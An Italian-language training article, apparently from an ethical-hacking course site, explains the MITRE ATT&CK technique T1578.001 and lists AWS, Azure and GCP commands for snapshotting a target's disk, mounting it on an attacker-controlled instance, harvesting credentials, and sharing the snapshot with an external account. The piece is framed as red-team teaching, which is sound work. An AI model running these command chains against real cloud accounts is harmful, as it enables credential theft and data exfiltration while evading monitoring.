Snapshot Cloud Malevoli: Create Snapshot (T1578.001)

La tecnica T1578.001 – Create Snapshot descrive l'abuso delle funzionalità native dei provider cloud (AWS, Azure, GCP) per creare copie point-in-time di volumi, dischi virtuali o istanze allo scopo di aggirare i controlli di sicurezza. L'attaccante sfrutta permessi IAM legittimi per generare uno snapshot di una risorsa a cui non avrebbe accesso diretto, monta lo snapshot su una nuova istanza sotto il proprio controllo e applica policy di rete permissive (ad esempio un security group con SSH aperto) per estrarre dati o pivotare lateralmente.

La tecnica ricade nella tattica TA0005 (Defense Evasion) perché consente di leggere il contenuto di un volume senza toccare l'istanza originale, evitando così di generare log su host monitorati, di scattare EDR agent-based o di alterare timestamp sul filesystem produttivo. Nella kill chain si posiziona tipicamente dopo un Initial Access cloud (credenziali IAM compromesse, token OAuth rubati) e prima di Collection o Exfiltration.

L'impatto è rilevante perché uno snapshot preserva l'intero filesystem — inclusi hash NTLM in SAM, chiavi SSH, database non cifrati e secret in memoria dumpati su disco. MITRE ATT&CK associa alla tecnica 1 software (Pacu) e 2 mitigazioni principali, con detection incentrata su correlazione tra eventi CloudTrail di creazione snapshot e successivo mount su istanze non autorizzate.

In un esercizio red team autorizzato la simulazione di T1578.001 richiede credenziali IAM con permessi ec2:CreateSnapshot, ec2:DescribeVolumes, ec2:RunInstances e ec2:AttachVolume (o equivalenti su Azure/GCP). Il framework di riferimento è Pacu (open source), suite di exploitation AWS mantenuta da Rhino Security Labs, che include il modulo ebs__enum_volumes_snapshots per l'enumerazione e ebs__explore_snapshots per la creazione e il mount automatico.

Una catena tipica inizia con l'enumerazione dei volumi accessibili. Con AWS CLI (gratuito) il comando è:

aws ec2 describe-volumes --query 'Volumes[].[VolumeId,Size,Tags]'*

Una volta individuato un volume interessante (ad esempio quello associato a un domain controller o a un bastion host), l'operatore crea lo snapshot:

aws ec2 create-snapshot --volume-id vol-0abc123 --description "backup-test"

Poi lancia un'istanza EC2 sotto il proprio controllo nella stessa Availability Zone, crea un nuovo volume dallo snapshot e lo attacca come device secondario:

aws ec2 create-volume --snapshot-id snap-0xyz789 --availability-zone us-east-1a

aws ec2 attach-volume --volume-id vol-0new --instance-id i-0attacker --device /dev/sdf

Dopo il mount con mount /dev/xvdf1 /mnt/target l'operatore ha accesso in lettura al filesystem, dove può cercare file shadow, authorized_keys, database SQLite di applicazioni, log applicativi con token, o eseguire chntpw (open source) su hive registry Windows per estrarre credenziali.

Su Azure la sequenza equivalente usa az snapshot create --source /subscriptions/.../disks/target-disk seguito da az disk create --source e attach su una VM controllata. Su GCP il comando è gcloud compute disks snapshot --snapshot-names=exfil seguito da gcloud compute disks create --source-snapshot.

Per scenari cross-account l'operatore può modificare i permessi dello snapshot rendendolo condivisibile con un account AWS esterno tramite aws ec2 modify-snapshot-attribute --create-volume-permission Add=[{UserId=999999999999}], tecnica utile per simulare esfiltrazione verso infrastruttura attacker-owned.

Strumenti complementari per la fase post-mount includono CloudFox (open source) per la ricognizione IAM successiva, ScoutSuite (open source) per validare la postura di sicurezza pre-esercizio, e Prowler (open source) per verificare che i controlli di detection funzionino. In laboratorio è consigliabile usare account AWS dedicati e budget alert, poiché snapshot di volumi grandi generano costi rapidamente.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.